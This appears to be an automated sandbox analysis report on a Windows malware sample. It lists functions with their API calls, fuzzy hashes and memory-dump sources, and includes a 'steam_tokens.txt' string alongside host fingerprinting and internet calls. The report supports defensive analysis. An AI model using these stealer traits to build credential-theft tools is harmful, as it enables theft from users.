Function 00415B70 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00415B84
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00415BA5
CloseHandle.KERNEL32(00000000), ref: 00415BAF

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 97fc9d568dab5260ce1fa1a51ba1ebaf2853d767a04b83f08cd6b5726440208b
Instruction ID: b12b055c0fde6327b7bfc42128d307bcca402a5100f46dd347d8d84938e244fe
Opcode Fuzzy Hash: 97fc9d568dab5260ce1fa1a51ba1ebaf2853d767a04b83f08cd6b5726440208b
Instruction Fuzzy Hash: C5F05475A0010CFBDB14DFA4DC4AFED7778BB08300F004499BA0597280D6B06E85CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00414400 Relevance: 4.5, APIs: 3, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
HeapAlloc.KERNEL32(00000000), ref: 00414414
GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 6e220fa814439a9a47cb0e7b1b891ce31241d7c627682025937d03601ca1af04
Instruction ID: 2ac30a00ccf60c4f43266989ac8565747831d88261cb92d9c694311de33eed43
Opcode Fuzzy Hash: 6e220fa814439a9a47cb0e7b1b891ce31241d7c627682025937d03601ca1af04
Instruction Fuzzy Hash: F1E0D8B0A00608FBCB20DFE4DD48BDD77BCAB04305F100055FA05D3240D7749A458B96

Uniqueness

Uniqueness Score: -1.00%

Function 004010D0 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004136DC), ref: 004010EB
VirtualAllocExNuma.KERNEL32(00000000,?,?,004136DC), ref: 004010F2
ExitProcess.KERNEL32 ref: 00401103

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: b1c8d233814077f36e701fc9dcba40fcf29c53b912e4e1fc8df77dce1fb5e496
Instruction ID: b86936f0f7b92ad6105a5e8d9325c57b614f4cde8fc05540e07f2d0ff83aec39
Opcode Fuzzy Hash: b1c8d233814077f36e701fc9dcba40fcf29c53b912e4e1fc8df77dce1fb5e496
Instruction Fuzzy Hash: 1BE0867098570CBBE7309BA0DD0AB1976689B08B06F101055F7097A1D0C6B425008699

Uniqueness

Uniqueness Score: -1.00%

Function 004119B0 Relevance: 3.1, APIs: 2, Instructions: 66stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004119C8

Part of subcall function 00411650: wsprintfA.USER32 ref: 00411669
Part of subcall function 00411650: FindFirstFileA.KERNEL32(?,?), ref: 00411680

strtok_s.MSVCRT ref: 00411A4D

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: strtok_s$FileFindFirstwsprintf
String ID:
API String ID: 3409980764-0
Opcode ID: 975833a798ef07385fb740c26f6e35f7306421425023d288693ea324a83a39c3
Instruction ID: 5fc3070f54b5ba386e916c7c3ae22cc6ad81f817c7a7f871d2ab45b9afc63085
Opcode Fuzzy Hash: 975833a798ef07385fb740c26f6e35f7306421425023d288693ea324a83a39c3
Instruction Fuzzy Hash: 19215471900108EBCB14FFA5CC55FED7B79AF44345F10805AF51A97151EB386B84CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412B30 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,042C3828,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

lstrlen.KERNEL32(00000000,00000000,0041D599,?,?,?,?,?,?,00412FF8,?), ref: 00412B5A

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,042C35F8), ref: 00404ED9

Strings

steam_tokens.txt, xrefs: 00412B6F

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$InternetOpen
String ID: steam_tokens.txt
API String ID: 2934705399-401951677
Opcode ID: 0e3b4742804874a780a066254cb668122dfdc385ba13d8aa658f83288e45540c
Instruction ID: 10dd2298c38adeb5e36390c5bfe4eda46295fd03d88468a146a299c80adb3810
Opcode Fuzzy Hash: 0e3b4742804874a780a066254cb668122dfdc385ba13d8aa658f83288e45540c
Instruction Fuzzy Hash: 18F08175D1020866CB18FBB2EC539ED773D9E54348B00425EF81662491EF38A788C6E9

Uniqueness

Uniqueness Score: -1.00%

Function 004147C0 Relevance: 3.0, APIs: 2, Instructions: 17COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00000000), ref: 004147CD
wsprintfA.USER32 ref: 004147E3

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: ae5762f0629c30c52eb39fe9d29b6f6254fbc8fd6ef0ba27fd947bac7523c98c
Instruction ID: d87a4f6b3ea3f44bdf221dc5e2fa01f01132d118a4d77551e5f155a4815ada85
Opcode Fuzzy Hash: ae5762f0629c30c52eb39fe9d29b6f6254fbc8fd6ef0ba27fd947bac7523c98c
Instruction Fuzzy Hash: FAD012B580020C5BD720DBD0ED49AE9B77DBB44204F4049A5EE1492140EBB96AD58AA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000), ref: 0040B190
lstrlen.KERNEL32(00000000), ref: 0040B1A4

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,042C35F8), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocInternetLocalOpenmemcmpmemset
String ID:
API String ID: 574041509-0
Opcode ID: a6a78ff70d27b61a9f6037f1a30da5da91f984a2f7bb54771162fbb6bc8815ef
Instruction ID: df99340f366afcb3d937a345db0e295b6fae9bf0b5ece921659d29683b3ff0c0
Opcode Fuzzy Hash: a6a78ff70d27b61a9f6037f1a30da5da91f984a2f7bb54771162fbb6bc8815ef
Instruction Fuzzy Hash: 6CE114769101189BCF15EBA1DC92EEE773DBF54308F41415EF10676091EF38AA89CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A6E0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrlen.KERNEL32(00000000), ref: 0040A95A
lstrlen.KERNEL32(00000000), ref: 0040A96E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,042C35F8), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$InternetOpen
String ID:
API String ID: 3635112192-0
Opcode ID: 7cd8234a4abdb81a99944f9f6d451a59de705a0f1975fd9f1c7cd260678ca252
Instruction ID: 9f23dc4c71334aa449457ef7a0e8bbad4682aa92b3b7ddf60c673b4dae8ee631
Opcode Fuzzy Hash: 7cd8234a4abdb81a99944f9f6d451a59de705a0f1975fd9f1c7cd260678ca252
Instruction Fuzzy Hash: FC9149729102049BCF14FBA1DC51EEE773DBF54308F41425EF50666091EF38AA89CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA20 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrlen.KERNEL32(00000000), ref: 0040AC1E
lstrlen.KERNEL32(00000000), ref: 0040AC32

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,042C35F8), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$InternetOpen
String ID:
API String ID: 3635112192-0
Opcode ID: 5dd6e1886fe9a9aadc567094d83ba0008eab3b8b6066a721d99fb8c77c53bff9
Instruction ID: 57c8c1270dba92ae3db9aa8e51dd660502e79bf125d10b7c0566732e7217b02b
Opcode Fuzzy Hash: 5dd6e1886fe9a9aadc567094d83ba0008eab3b8b6066a721d99fb8c77c53bff9
Instruction Fuzzy Hash: C07153759102049BCF14FBA1DC52DEE7739BF54308F41422EF506A7191EF38AA89CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004114C0 Relevance: 2.6, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00411550

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 46fcbcde96b391d8a91c7de27c3ae99c7866997ac8e62baa93d065818f15697d
Instruction ID: 8f9af232e05b2939ec69b712380268a2006cbed21c6953bc19412128f28bf8b7
Opcode Fuzzy Hash: 46fcbcde96b391d8a91c7de27c3ae99c7866997ac8e62baa93d065818f15697d
Instruction Fuzzy Hash: 0641F770A00A289FDB24DB58CC95BDBB7B5BB48702F4091C9A618A72E0D7716EC6CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406050 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(004067AE,004067AE,00003000,00000040), ref: 004060F6
VirtualAlloc.KERNEL32(00000000,004067AE,00003000,00000040), ref: 00406143

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a813d0be407c7e97fb4ae0c443796924326960eff0d044c67b11f739482c465e
Instruction ID: 5341a9e810d76a35e886a0404415562c2a616bd51e9685e0b668c9c894d7d0dc
Opcode Fuzzy Hash: a813d0be407c7e97fb4ae0c443796924326960eff0d044c67b11f739482c465e
Instruction Fuzzy Hash: 8341DE34A00209EFCB54CF58C494BADBBB1FF44314F1482A9E95AAB395C735AA91CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00412A80 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00412ABA
lstrcat.KERNEL32(?,042C8288), ref: 00412AD8

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNELBASE(?,?), ref: 004125A0

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: ea1ffac3ae604c61d94c3ab08edcb0d871ee1865e913378f7efedfa2106ffca1
Instruction ID: bcc253f25bf78e1a0e90404f031f6467c50b05fa57c941630bc3dd144581bb5c
Opcode Fuzzy Hash: ea1ffac3ae604c61d94c3ab08edcb0d871ee1865e913378f7efedfa2106ffca1
Instruction Fuzzy Hash: 8701B97A900608B7CB24FBB0DC47EDA773D9B54705F404189B64956091EE78AAC4CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00401060 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040110E,?,?,004136DC), ref: 00401073
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040110E,?,?,004136DC), ref: 004010B7

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 1fafdb83e91c72df66fc5e0dfbe5cc959ff82812f546fe48c521c8e5e261a801
Instruction ID: a2913bed729a6fe358320823385779fc3d8f71f1cc7b0a13f7ab4b92dd49de4a
Opcode Fuzzy Hash: 1fafdb83e91c72df66fc5e0dfbe5cc959ff82812f546fe48c521c8e5e261a801
Instruction Fuzzy Hash: 42F027B1641208BBE724DAF4AC59FAFF79CA745B05F304559F980E3390DA719F00CAA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415490 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d0ebe2fb72674ebe02027a203c9a5e23a0550e75489eb08aacc5631cf77d8e9a
Instruction ID: 7a99a0210fb0b6ed6de77f6d22eec219e0a4aedfc9bcf57955c7481c69c901e8
Opcode Fuzzy Hash: d0ebe2fb72674ebe02027a203c9a5e23a0550e75489eb08aacc5631cf77d8e9a
Instruction Fuzzy Hash: 9BF01C70C00608EBCB10EF94C9457DDBB74AF44315F10829AD82957380DB395A85CB89

Uniqueness

Uniqueness Score: -1.00%

Function 004154E0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: c4deb19243b673a040dfd5fdc436edaecc4a41164842cb033ff61c0adf53a60f
Instruction ID: a2db4f6e5da6e8fb8430e81bb17b8e7aa1674d593408b434fe95881a23a64460
Opcode Fuzzy Hash: c4deb19243b673a040dfd5fdc436edaecc4a41164842cb033ff61c0adf53a60f
Instruction Fuzzy Hash: A8E01231A4034CABDB61DB90DC96FDD776C9B44B05F004295BA0C5A1C0DA70AB858BD1

Uniqueness

Uniqueness Score: -1.00%

Function 00401150 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,042C37E8,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

ExitProcess.KERNEL32 ref: 00401186

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: c5f9d553daa3d293cc675e83c5a49a4e0c2af81821706314cf681e3291f30800
Instruction ID: 69e00d56220517d966a61d162f3bbf9e0969f4784ba4f73569e39f9695f87914
Opcode Fuzzy Hash: c5f9d553daa3d293cc675e83c5a49a4e0c2af81821706314cf681e3291f30800
Instruction Fuzzy Hash: 78E012B5E1070462CA1573B27E06BD7729D5F9930EF40142AFE0497253FD2DE45145BD

Uniqueness

Uniqueness Score: -1.00%

Function 00415530 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: d5c28e0c1c7e45756f81669eafe0f10d1f2d27191eaad386d3d0ade1da73dce0
Instruction ID: 5f6283e4cb308baa7d4615cf810ff09d37e65c2d0c188b0d2e4390bfcb6d80e5
Opcode Fuzzy Hash: d5c28e0c1c7e45756f81669eafe0f10d1f2d27191eaad386d3d0ade1da73dce0
